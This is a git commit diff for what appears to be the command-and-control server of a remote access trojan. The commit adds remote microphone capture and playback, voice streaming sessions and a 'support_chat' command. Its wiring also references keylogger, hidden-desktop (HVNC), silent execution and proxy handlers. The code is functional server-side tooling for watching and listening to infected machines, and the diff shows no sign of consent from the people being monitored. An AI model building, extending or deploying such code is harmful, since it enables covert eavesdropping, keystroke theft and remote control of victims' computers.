remote voice receiving and talking

This commit is contained in:
KingKDot
2026-03-07 23:27:57 -06:00
parent fb9f10bb45
commit 51a653a6aa
21 changed files with 1559 additions and 3 deletions
+19
View File
@@ -97,6 +97,12 @@ import {
handleProxyViewerMessage,
handleProxyViewerOpen,
} from "./server/ws-file-process-proxy-keylogger";
import {
cleanupVoiceViewer,
handleVoiceUplink,
handleVoiceViewerMessage,
handleVoiceViewerOpen,
} from "./server/ws-voice";
import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
import * as clientManager from "./clientManager";
import * as sessionManager from "./sessions/sessionManager";
@@ -226,6 +232,13 @@ type PendingScript = {
};
const pendingScripts = new Map<string, PendingScript>();
type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void;
timeout: NodeJS.Timeout;
};
const pendingCommandReplies = new Map<string, PendingCommandReply>();
async function startServer() {
await loadPluginState();
let tls:
@@ -314,6 +327,7 @@ async function startServer() {
client: {
CORS_HEADERS,
pendingScripts,
pendingCommandReplies,
},
wsUpgrade: {
isAuthorizedAgentRequest: isAuthorizedAgent,
@@ -324,6 +338,7 @@ async function startServer() {
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
pendingScripts,
pendingCommandReplies,
rdStreamingState,
hvncStreamingState,
getNotificationConfig,
@@ -334,6 +349,7 @@ async function startServer() {
handleProcessViewerOpen,
handleKeyloggerViewerOpen,
handleProxyViewerOpen,
handleVoiceViewerOpen,
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage,
@@ -342,6 +358,7 @@ async function startServer() {
handleProcessViewerMessage,
handleKeyloggerViewerMessage,
handleProxyViewerMessage,
handleVoiceViewerMessage,
dispatchAutoScriptsForConnection,
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
storeNotificationScreenshot: storeNotificationScreenshotForPending,
@@ -360,6 +377,8 @@ async function startServer() {
handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure,
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
handleNotification: notificationPluginHandlers.handleNotification,
handleVoiceUplink,
cleanupVoiceViewer,
stopConsoleOnTarget,
sendDesktopCommand,
sendHVNCCommand,
+5
View File
@@ -65,6 +65,11 @@ export type CommandType =
| "file_chmod"
| "file_execute"
| "silent_exec"
| "support_chat"
| "voice_session_start"
| "voice_session_stop"
| "voice_downlink"
| "voice_capabilities"
| "process_list"
| "process_kill"
| "plugin_load"
@@ -32,9 +32,16 @@ type PendingScript = {
timeout: NodeJS.Timeout;
};
type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void;
timeout: NodeJS.Timeout;
};
type ClientRouteDeps = {
CORS_HEADERS: Record<string, string>;
pendingScripts: Map<string, PendingScript>;
pendingCommandReplies: Map<string, PendingCommandReply>;
};
export async function handleClientRoutes(
@@ -378,6 +385,88 @@ export async function handleClientRoutes(
} catch (error: any) {
return Response.json({ ok: false, error: error.message }, { status: 500 });
}
} else if (action === "support_chat") {
const message = typeof body?.message === "string" ? body.message.trim() : "";
const requireReply = body?.requireReply !== false;
const operator = typeof user?.username === "string" ? user.username.trim() : "";
if (!message) {
return Response.json({ ok: false, error: "Message is required" }, { status: 400 });
}
if (message.length > 1200) {
return Response.json({ ok: false, error: "Message too long (max 1200 characters)" }, { status: 400 });
}
const cmdId = uuidv4();
const waitTimeoutMs = 4 * 60 * 1000;
let replyPromise: Promise<{ ok: boolean; message?: string }> | null = null;
if (requireReply) {
replyPromise = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Support chat reply timed out"));
}, waitTimeoutMs);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
});
}
target.ws.send(
encodeMessage({
type: "command",
commandType: "support_chat",
id: cmdId,
payload: {
message,
requireReply,
operator,
},
}),
);
metrics.recordCommand("support_chat");
if (!replyPromise) {
return Response.json({ ok: true });
}
try {
const reply = await replyPromise;
return Response.json({ ok: reply.ok, response: reply.message || "" }, { headers: deps.CORS_HEADERS });
} catch (error: any) {
return Response.json({ ok: false, error: error.message || "Support chat failed" }, { status: 504 });
}
} else if (action === "voice_capabilities") {
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Voice capability probe timed out"));
}, 30_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
});
target.ws.send(
encodeMessage({
type: "command",
commandType: "voice_capabilities",
id: cmdId,
}),
);
try {
const result = await replyPromise;
let caps: any = null;
if (result.message) {
try {
caps = JSON.parse(result.message);
} catch {
caps = null;
}
}
return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
} catch (error: any) {
return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
}
} else if (action === "silent_exec") {
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
@@ -112,6 +112,30 @@ export async function handlePageRoutes(
}
}
if (req.method === "GET" && url.pathname === "/voice") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) });
}
}
if (req.method === "GET" && url.pathname === "/metrics") {
const user = await authenticateRequest(req);
if (!user) {
@@ -17,10 +17,16 @@ type PendingScript = {
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
};
type PendingCommandReply = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok: boolean; message?: string }) => void;
};
type WsLifecycleDeps = {
maxClientPayloadBytes: number;
maxViewerPayloadBytes: number;
pendingScripts: Map<string, PendingScript>;
pendingCommandReplies: Map<string, PendingCommandReply>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
@@ -31,6 +37,7 @@ type WsLifecycleDeps = {
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -39,6 +46,7 @@ type WsLifecycleDeps = {
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
@@ -58,6 +66,8 @@ type WsLifecycleDeps = {
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
@@ -77,6 +87,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
const id = clientId || uuidv4();
@@ -134,6 +145,7 @@ export function handleWebSocketMessage(
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
const { clientId, ip } = ws.data;
@@ -213,6 +225,17 @@ export function handleWebSocketMessage(
case "file_read_result":
case "file_search_result":
case "command_result":
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
if (pending) {
clearTimeout(pending.timeout);
pending.resolve({
ok: Boolean((payload as any).ok),
message: typeof (payload as any).message === "string" ? (payload as any).message : "",
});
deps.pendingCommandReplies.delete((payload as any).commandId);
}
}
if (typeof (payload as any).commandId === "string") {
deps.notifyRdInputLatency((payload as any).commandId);
}
@@ -259,6 +282,9 @@ export function handleWebSocketMessage(
case "notification":
deps.handleNotification(info.id, payload);
break;
case "voice_uplink":
deps.handleVoiceUplink(info.id, payload);
break;
default:
break;
}
@@ -356,6 +382,11 @@ export function handleWebSocketClose(
return;
}
if (role === "voice_viewer") {
deps.cleanupVoiceViewer(ws);
return;
}
if (role === "notifications_viewer") {
if (sessionId) {
sessionManager.deleteNotificationSession(sessionId);
@@ -163,6 +163,24 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 });
}
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
if (voiceMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = voiceMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
const user = await authenticateRequest(req);
if (!user) {
+119
View File
@@ -0,0 +1,119 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import * as clientManager from "../clientManager";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { SocketData, VoiceViewer } from "../sessions/types";
function sendVoiceCommand(clientId: string, commandType: "voice_session_start" | "voice_session_stop" | "voice_downlink", payload: Record<string, unknown>) {
const target = clientManager.getClient(clientId);
if (!target) return false;
try {
target.ws.send(
encodeMessage({
type: "command",
commandType: commandType as any,
id: uuidv4(),
payload,
}),
);
return true;
} catch {
return false;
}
}
function safeJson(ws: ServerWebSocket<SocketData>, payload: Record<string, unknown>) {
try {
ws.send(JSON.stringify(payload));
} catch {
// ignore broken sockets
}
}
export function handleVoiceViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId);
const session: VoiceViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addVoiceSession(session);
safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" });
return;
}
safeJson(ws, { type: "status", status: "ready" });
}
export function handleVoiceViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const { clientId } = ws.data;
if (typeof raw === "string") {
try {
const message = JSON.parse(raw);
if (message?.type === "start") {
const source = typeof message?.source === "string" ? message.source : "microphone";
const started = sendVoiceCommand(clientId, "voice_session_start", {
source,
sessionId: ws.data.sessionId,
});
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
return;
}
if (message?.type === "stop") {
sendVoiceCommand(clientId, "voice_session_stop", {});
safeJson(ws, { type: "status", status: "disconnected" });
}
} catch {
// ignore malformed JSON control messages
}
return;
}
const chunk = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
if (chunk.byteLength === 0) return;
sendVoiceCommand(clientId, "voice_downlink", { data: chunk });
}
export function handleVoiceUplink(clientId: string, payload: any) {
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const bytes = payload?.data instanceof Uint8Array
? payload.data
: payload?.data instanceof ArrayBuffer
? new Uint8Array(payload.data)
: ArrayBuffer.isView(payload?.data)
? new Uint8Array(payload.data.buffer)
: null;
if (!bytes || bytes.byteLength === 0) return;
for (const session of sessionManager.getAllVoiceSessions().values()) {
if (sessionId) {
if (session.id !== sessionId) continue;
} else if (session.clientId !== clientId) {
continue;
}
try {
session.viewer.send(bytes);
} catch {
// ignore failed sends; cleanup happens on close
}
}
}
export function cleanupVoiceViewer(ws: ServerWebSocket<SocketData>) {
let removedClientId = ws.data.clientId;
for (const [sid, session] of sessionManager.getAllVoiceSessions().entries()) {
if (session.viewer === ws) {
removedClientId = session.clientId;
sessionManager.deleteVoiceSession(sid);
break;
}
}
const hasViewers = sessionManager.getVoiceSessionsByClient(removedClientId).length > 0;
if (!hasViewers) {
sendVoiceCommand(removedClientId, "voice_session_stop", {});
}
}
@@ -4,6 +4,7 @@ import type {
RemoteDesktopViewer,
FileBrowserViewer,
ProcessViewer,
VoiceViewer,
NotificationsViewer,
KeyloggerViewer,
SocketData,
@@ -17,6 +18,7 @@ const processSessions = new Map<string, ProcessViewer>();
const notificationSessions = new Map<string, NotificationsViewer>();
const keyloggerSessions = new Map<string, KeyloggerViewer>();
const proxySessions = new Map<string, KeyloggerViewer>(); // Reusing KeyloggerViewer interface for consistency
const voiceSessions = new Map<string, VoiceViewer>();
export function addConsoleSession(session: ConsoleSession): void {
consoleSessions.set(session.id, session);
@@ -261,3 +263,23 @@ export function getProxySessionsByClient(
export function getAllProxySessions(): Map<string, KeyloggerViewer> {
return proxySessions;
}
export function addVoiceSession(session: VoiceViewer): void {
voiceSessions.set(session.id, session);
}
export function getVoiceSession(sessionId: string): VoiceViewer | undefined {
return voiceSessions.get(sessionId);
}
export function deleteVoiceSession(sessionId: string): boolean {
return voiceSessions.delete(sessionId);
}
export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] {
return Array.from(voiceSessions.values()).filter((s) => s.clientId === clientId);
}
export function getAllVoiceSessions(): Map<string, VoiceViewer> {
return voiceSessions;
}
+9 -1
View File
@@ -9,7 +9,8 @@ export type SocketRole =
| "process_viewer"
| "notifications_viewer"
| "keylogger_viewer"
| "proxy_viewer";
| "proxy_viewer"
| "voice_viewer";
export type SocketData = {
role: SocketRole;
@@ -61,3 +62,10 @@ export type KeyloggerViewer = {
viewer: ServerWebSocket<SocketData>;
createdAt: number;
};
export type VoiceViewer = {
id: string;
clientId: string;
viewer: ServerWebSocket<SocketData>;
createdAt: number;
};
+2 -1
View File
@@ -1,4 +1,4 @@
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hello",
@@ -23,6 +23,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"keylog_file_content",
"keylog_clear_result",
"keylog_delete_result",
"voice_uplink",
]);
export function isAllowedClientMessageType(type: string): boolean {